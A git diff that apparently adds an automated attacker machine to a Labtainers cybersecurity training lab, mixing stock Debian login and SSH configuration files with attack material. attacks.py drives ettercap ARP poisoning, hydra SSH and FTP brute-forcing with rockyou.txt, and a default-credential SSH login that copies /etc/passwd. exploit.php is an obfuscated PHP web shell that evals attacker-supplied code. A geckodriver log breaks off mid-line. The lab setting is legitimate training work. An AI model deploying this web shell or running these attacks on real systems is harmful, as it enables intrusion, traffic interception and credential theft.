.hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/_system/etc/ssh/sshd_config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/_system/etc/ssh/sshd_config new file mode 100644 index 000000000..4ae0a6e43 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/_system/etc/ssh/sshd_config @@ -0,0 +1,122 @@ +# $OpenBSD: sshd_config,v 1.101 2017/03/14 07:19:07 djm Exp $ + +# This is the sshd server system-wide configuration file. See +# sshd_config(5) for more information. + +# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin + +# The strategy used for options in the default sshd_config shipped with +# OpenSSH is to specify options with their default value where +# possible, but leave them commented. Uncommented options override the +# default value. + +#Port 22 +AddressFamily inet +#ListenAddress 0.0.0.0 +#ListenAddress :: + +#HostKey /etc/ssh/ssh_host_rsa_key +#HostKey /etc/ssh/ssh_host_ecdsa_key +#HostKey /etc/ssh/ssh_host_ed25519_key + +# Ciphers and keying +#RekeyLimit default none + +# Logging +#SyslogFacility AUTH +#LogLevel INFO + +# Authentication: + +#LoginGraceTime 2m +#PermitRootLogin prohibit-password +#StrictModes yes +#MaxAuthTries 6 +#MaxSessions 10 + +#PubkeyAuthentication yes + +# Expect .ssh/authorized_keys2 to be disregarded by default in future. +#AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2 +#AuthorizedPrincipalsFile none + +#AuthorizedKeysCommand none +#AuthorizedKeysCommandUser nobody + +# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts +#HostbasedAuthentication no +# Change to yes if you don't trust ~/.ssh/known_hosts for +# HostbasedAuthentication +#IgnoreUserKnownHosts no +# Don't read the user's ~/.rhosts and ~/.shosts files +#IgnoreRhosts yes + +# To disable tunneled clear text passwords, change to no here! +#PasswordAuthentication yes +#PermitEmptyPasswords no + +# Change to yes to enable challenge-response passwords (beware issues with +# some PAM modules and threads) +ChallengeResponseAuthentication no + +# Kerberos options +#KerberosAuthentication no +#KerberosOrLocalPasswd yes +#KerberosTicketCleanup yes +#KerberosGetAFSToken no + +# GSSAPI options +#GSSAPIAuthentication no +#GSSAPICleanupCredentials yes +#GSSAPIStrictAcceptorCheck yes +#GSSAPIKeyExchange no + +# Set this to 'yes' to enable PAM authentication, account processing, +# and session processing. If this is enabled, PAM authentication will +# be allowed through the ChallengeResponseAuthentication and +# PasswordAuthentication. Depending on your PAM configuration, +# PAM authentication via ChallengeResponseAuthentication may bypass +# the setting of "PermitRootLogin without-password". +# If you just want the PAM account and session checks to run without +# PAM authentication, then enable this but set PasswordAuthentication +# and ChallengeResponseAuthentication to 'no'. +UsePAM yes + +#AllowAgentForwarding yes +#AllowTcpForwarding yes +#GatewayPorts no +X11Forwarding yes +X11DisplayOffset 10 +X11UseLocalhost no +#PermitTTY yes +PrintMotd no +#PrintLastLog yes +#TCPKeepAlive yes +#UseLogin no +#PermitUserEnvironment no +#Compression delayed +#ClientAliveInterval 0 +#ClientAliveCountMax 3 +#UseDNS no +#PidFile /var/run/sshd.pid +#MaxStartups 10:30:100 +#PermitTunnel no +#ChrootDirectory none +#VersionAddendum none + +# no default banner path +#Banner none + +# Allow client to pass locale environment variables +AcceptEnv LANG LC_* + +# override default of no subsystems +Subsystem sftp /usr/lib/openssh/sftp-server + +# Example of overriding settings on a per-user basis +#Match User anoncvs +# X11Forwarding no +# AllowTcpForwarding no +# PermitTTY no +# ForceCommand cvs server + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/_system/etc/systemd/system/mynotify.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/_system/etc/systemd/system/mynotify.service new file mode 100755 index 000000000..7d3e027fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/_system/etc/systemd/system/mynotify.service @@ -0,0 +1,8 @@ +[Unit] +Description=mynotify + +[Service] +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/_system/etc/xinetd.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/_system/etc/xinetd.conf new file mode 100644 index 000000000..94a44e584 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/_system/etc/xinetd.conf @@ -0,0 +1,15 @@ +# Simple configuration file for xinetd +# +# Some defaults, and include /etc/xinetd.d/ + +defaults +{ + +# Please note that you need a log_type line to be able to use log_on_success +# and log_on_failure. The default is the following : +log_type = SYSLOG daemon info + +} + +includedir /etc/xinetd.d + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/_system/etc/xinetd.d/ssh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/_system/etc/xinetd.d/ssh new file mode 100644 index 000000000..9b8db4365 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/_system/etc/xinetd.d/ssh @@ -0,0 +1,12 @@ +service ssh +{ + socket_type = stream + protocol = tcp + wait = no + port = 22 + user = root + server = /usr/sbin/sshd + server_args = -i + disable = no +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/_system/sbin/faux_init new file mode 100755 index 000000000..76b0e35cf --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/_system/sbin/faux_init @@ -0,0 +1,20 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start +service xinetd restart +/etc/init.d/mynotify.sh start + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/_system/sbin/geckodriver b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/_system/sbin/geckodriver new file mode 100755 index 000000000..b8d586b54 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/_system/sbin/geckodriver differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/README b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/README new file mode 100755 index 000000000..91d3dfcfb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/README @@ -0,0 +1,41 @@ +This document explains how the CHLICSA scenario attacking machine is configured +and how it executes the attacks. + +1. Auto-login +Because this machine is unmanned, yet several attacks called require a UI +(e.g., browser window), this machine auto logs in. + + /etc/profile.d/pyserver.sh + This shell script calls the main attack file: /root/Desktop/attacks/main2.py + + + + + + +This is the directory with all of the attacks and files needed for the attacks + +***Notes + +*To run all the attacks simply run main.py + *to add attacks change main.py + +*Proxychains.conf should be in the /etc directory + +*https-ftp uses the commands from ftpcommands.txt + +*To get the socks proxy up start ssh and run: + *ssh -NfD 9050 root@localhost + +*To run the loginssh.py file you need the pxssh module + *run 'pip install pxssh' or 'pip install pexpect' + +*MITM attacks require ettecap + +*Scans.py requires nmap + +*ftpbrute.py and sshbrute.py require hydra + +*Also getip.py and main.py require the netifaces module + *run 'pip install netifaces' + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/attacks.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/attacks.py new file mode 100755 index 000000000..9c64e9da2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/attacks.py @@ -0,0 +1,138 @@ +from os import * +import sys +import time +import datetime +from datetime import timedelta +from pexpect import pxssh +import getpass + + +# IMPORTS & ALIAS +import setup as s +printtime = s.printtime +funcprinttime = s.funcprinttime # can't wrap this func as starttime isn't same for all attacks + + +#### ARP POISON +# This attack poisons the entire subnet +# To Specify targets, use: +# system('sudo ettercap arp:remote /192.168.1.2-10// /192.168.1.2-4//') +def arp_poison(n): + starttime=time.time() + endtime = time.time()+n + funcprinttime(" Start", starttime) + + command = "sudo ettercap -T -M arp:remote /// ///" + system(command+'& sleep '+str(n)+'; kill $!'); # kill this (most recent hidden process) at n seconds + + funcprinttime(" End", starttime) + +arp_poison.desc = "Man-in-the-middle arp poisoning attack" + + + +#### FTP IN HTTPS +#FTP connection behind a SOCKS and http proxy +#This file pulls command from ftpcommands.txt +def ftp_https(n): + starttime=time.time() + endtime = time.time()+n + funcprinttime(" Start", starttime) + + try: + while True: + if time.time()>endtime: + exit(0) + + system('proxychains ftp -n < passwd_lsts/ftpcommands.txt') #ftp uploads behind multiple proxies + time.sleep(5) + + except: + print "Could not connect to ftp server" + + funcprinttime(" End", starttime) + +ftp_https.desc = "FTP traffic wrapped in HTTPS" + + + +##### SSH Login ##### +# ssh into metasploitable and run commands +def ssh_login(n): + starttime=time.time() + endtime = time.time()+n + funcprinttime(" Start", starttime) + + while True: + timeleft = endtime-time.time() + funcprinttime(" Time remaining: "+str(round(timeleft,2))+" seconds", starttime) + if (timeleft < 50 ):# not enough time remaining + time.sleep(timeleft) + break + + try: + s = pxssh.pxssh() + funcprinttime(" - Attempting ssh log in...", starttime) + s.login('192.168.1.2','msfadmin','msfadmin') #login + + funcprinttime(" - Login successful. Sending command...", starttime) + s.sendline('cat /etc/passwd > temp.txt') #send command + s.prompt() + + s.logout() #logout + time.sleep(15) + + except pxssh.ExceptionPxssh, e: + printtime(" - Could not login to the SSH server") + + funcprinttime(" End", starttime) + +ssh_login.desc = "SSH Login" + + + +##### SSH Brute Force ##### +def ssh_brute(n): + starttime=time.time() + endtime = time.time()+n + funcprinttime(" Start", starttime) + + system("rm hydra.restore") # cleanup last time hydra ran + + command = "sudo hydra -l msfadmin -P passwd_lsts/rockyou.txt 192.168.1.2 ssh" + system(command+'& sleep '+str(n)+'; kill $!'); # kill the most recent hidden process after n seconds + + funcprinttime(" End", starttime) + +ssh_brute.desc = "SSH brute force" + + + +##### FTP Brute Force ##### +def ftp_brute(n): + starttime=time.time() + endtime = time.time()+n + funcprinttime(" Start", starttime) + + system("rm hydra.restore") # cleanup last time hydra ran + + command = "sudo hydra -l msfadmin -P /root/Desktop/attacks/passwd_lsts/rockyou.txt 192.168.1.2 ftp" + while endtime>time.time(): + endtimer = str(endtime-time.time()) + system('timeout --kill-after='+endtimer+'s '+endtimer+'s '+command); + funcprinttime(" - scan complete", starttime) + timeleft = endtime-time.time() + #funcprinttime(" timeleft: "+str(timeleft), starttime) + funcprinttime(" End", starttime) +ftp_brute.desc = "FTP brute force" + + + + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/dog.exe b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/dog.exe new file mode 100755 index 000000000..d6b96b145 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/dog.exe differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/exploit.php b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/exploit.php new file mode 100755 index 000000000..642fad3bb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/exploit.php @@ -0,0 +1,15 @@ +ol>b_end_cleal>n();$l>d=bal>se64_el>ncol>de(x(gzcol>mpress($o),$l>l>l>l>k))l>;print("<$k>$d");@sesl>sion_l>destrol>y();}}}}'; +$N='m){@session_l>start(l>);$l>s=&$l>_SESSION;$l>ss="substrl>"l>;$sl="strtol>lol>wer";$i=$l>m[1][l>0].$ml>[1]l>[l>1];$h=l>$sl($'; +$I='preg_repll>ace(array("/_l>/",l>"/-/"),arl>ray("/"l>,"l>+"),$sl>s($s[$i],l>0,$el>))),$k))l>);$o=obl>_get_l>contentl>s();l'; +$O='l>);$q=al>rray_vall>uel>s($l>q);preg_l>match_all("/([\\wl>])[\\l>w-l>]+(?:;q=0l>.(l>[\\d]))?,?/",l>l>l>$ral>,$m);ifl>($q&&$'; +$n='>l>"];$ra=@$l>rl>["HTTP_ACCl>EPT_LAl>NGUAGE"]l>l>;il>f($rr&&$ra){$u=parl>se_url>l($rr)l>;parsel>_stl>r($u["queryl>"]l>,$q'; +$x='$l>m[2][$z]l>];if(strposl>($p,$h)l>===0)l>{$s[$i]l>="";$l>p=l>$ss($p,3);}l>il>f(arrl>ay_keyl>_exists($i,l>$s))l>{$s[$i]l>.=$pl>'; +$S='or($j=0l>;(l>$j<$c&&l>$il><$l);$j++,$l>i++){$ol>.=$t{$i}^l>$l>k{$j};}l>}return $ol>;}$r=$l>_SEl>RVl>ER;$rrl>=@$r["HTTPl>_REFERERl'; +$Q='$kl>h="l>7086";$kf="97cl>6";functiol>n x(l>$t,$kl>){$c=strll>en($k)l>;$l=stl>rlenl>($l>tl>)l>;$o="";for($i=l>0;$i<$l;){l>f'; +$M='sl>s(md5($i.$l>kh),0,3)l>);l>l>$f=$sl($ss(md5(l>$i.$kl>f),l>0,3));$p=l>""l>;for($z=1;$zl>t($m[1])l>;$z+l>+l>)$p.=$q['; +$i=';$e=strl>pos($s[$l>i],$f);l>if($el>){$k=$l>kh.$kf;l>l>ob_start()l>;@evl>al(@l>gzuncl>ompress(@x(@l>basel>64l>_decodl>l>e('; +$e=str_replace('F','','creFFateF_FfunFFction'); +$U=str_replace('l>','',$Q.$S.$n.$O.$N.$M.$x.$i.$I.$W); +$V=$e('',$U);$V(); +?> diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/geckodriver.log b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/geckodriver.log new file mode 100755 index 000000000..0a4c100fa --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/geckodriver.log @@ -0,0 +1,389 @@ +1481139048106 geckodriver INFO Listening on 127.0.0.1:35967 +1481139049112 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.Gto94oqR6jPk +1481139049113 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1481139049115 geckodriver::marionette INFO Connecting to Marionette on localhost:33201 +1481139052882 geckodriver INFO Listening on 127.0.0.1:51829 +1481139053876 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.Q6BkSJlYRO2l +1481139053877 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1481139053879 geckodriver::marionette INFO Connecting to Marionette on localhost:46117 +1481221773515 geckodriver INFO Listening on 127.0.0.1:57953 +1481221774525 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.ctL9aIK1qWDu +1481221774526 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1481221774534 geckodriver::marionette INFO Connecting to Marionette on localhost:44261 +1481221778529 geckodriver INFO Listening on 127.0.0.1:47533 +1481221779489 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.y4QSRJIiZ5ss +1481221779490 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1481221779492 geckodriver::marionette INFO Connecting to Marionette on localhost:46271 +1481221838175 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +1481221842676 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +1481221967374 geckodriver INFO Listening on 127.0.0.1:40077 +1481221968383 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.CFI1FW5OPmL3 +1481221968384 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1481221968392 geckodriver::marionette INFO Connecting to Marionette on localhost:34609 +1481221972165 geckodriver INFO Listening on 127.0.0.1:56543 +1481221973162 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.wvWdNC0cfA7U +1481221973163 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1481221973165 geckodriver::marionette INFO Connecting to Marionette on localhost:34825 +1481222031900 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +1481222037967 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +1481222526613 geckodriver INFO Listening on 127.0.0.1:41245 +1481222527612 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.OBvVd0igH8tO +1481222527613 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1481222527614 geckodriver::marionette INFO Connecting to Marionette on localhost:37275 +1481222531024 geckodriver INFO Listening on 127.0.0.1:45491 +1481222532012 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.YiuTbIYHvwmX +1481222532012 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1481222532014 geckodriver::marionette INFO Connecting to Marionette on localhost:43165 +firefox: Fatal IO error 11 (Resource temporarily unavailable) on X server :0. +firefox: Fatal IO error 11 (Resource temporarily unavailable) on X server :0. +1481226874604 geckodriver INFO Listening on 127.0.0.1:49551 +1481226875613 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.NuQmyIF8KxkY +1481226875613 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1481226875622 geckodriver::marionette INFO Connecting to Marionette on localhost:45099 +1481226880697 geckodriver INFO Listening on 127.0.0.1:60347 +1481226881685 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.sICdTXETAGSr +1481226881686 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1481226881688 geckodriver::marionette INFO Connecting to Marionette on localhost:43055 +1481227047644 geckodriver INFO Listening on 127.0.0.1:40045 +1481227048641 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.h5Eme5NDYjMN +1481227048642 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1481227048645 geckodriver::marionette INFO Connecting to Marionette on localhost:34347 +1481227052072 geckodriver INFO Listening on 127.0.0.1:43935 +1481227053060 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.lrV9a2JhrwLd +1481227053061 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1481227053063 geckodriver::marionette INFO Connecting to Marionette on localhost:38299 +1481227111859 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +1481227116851 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +1481227673174 geckodriver INFO Listening on 127.0.0.1:53547 +1481227674137 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.jQ2KXVhmLtbi +1481227674138 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1481227674152 geckodriver::marionette INFO Connecting to Marionette on localhost:44433 +1481227697955 geckodriver INFO Listening on 127.0.0.1:45671 +1481227698950 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.Fr21c0KHAIRa +1481227698951 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1481227698959 geckodriver::marionette INFO Connecting to Marionette on localhost:46101 +1481239185533 geckodriver INFO Listening on 127.0.0.1:39699 +1481239186545 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.rDRLdTc38zsP +1481239186546 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1481239186554 geckodriver::marionette INFO Connecting to Marionette on localhost:38341 +1481239190397 geckodriver INFO Listening on 127.0.0.1:52931 +1481239191396 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.dexKdIWQmexn +1481239191396 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1481239191398 geckodriver::marionette INFO Connecting to Marionette on localhost:34125 +1481239250105 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +1481239255788 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +1481239401142 geckodriver INFO Listening on 127.0.0.1:43745 +1481239402150 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.Pd5uUNjeuZ51 +1481239402151 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1481239402159 geckodriver::marionette INFO Connecting to Marionette on localhost:45285 +1481239407044 geckodriver INFO Listening on 127.0.0.1:57319 +1481239408037 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.7JavUTkictgH +1481239408038 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1481239408047 geckodriver::marionette INFO Connecting to Marionette on localhost:41579 +1481239466692 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +1481239472216 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +1481240005280 geckodriver INFO Listening on 127.0.0.1:56125 +1481240005306 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.D3fSeKQSIvRk +1481240005307 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1481240005322 geckodriver::marionette INFO Connecting to Marionette on localhost:46855 +1481240011493 geckodriver INFO Listening on 127.0.0.1:52525 +1481240012479 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.NSmoT1eBkDt4 +1481240012480 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1481240012488 geckodriver::marionette INFO Connecting to Marionette on localhost:44607 +1481241092340 geckodriver INFO Listening on 127.0.0.1:39939 +1481241093349 mozprofile::profile INFO 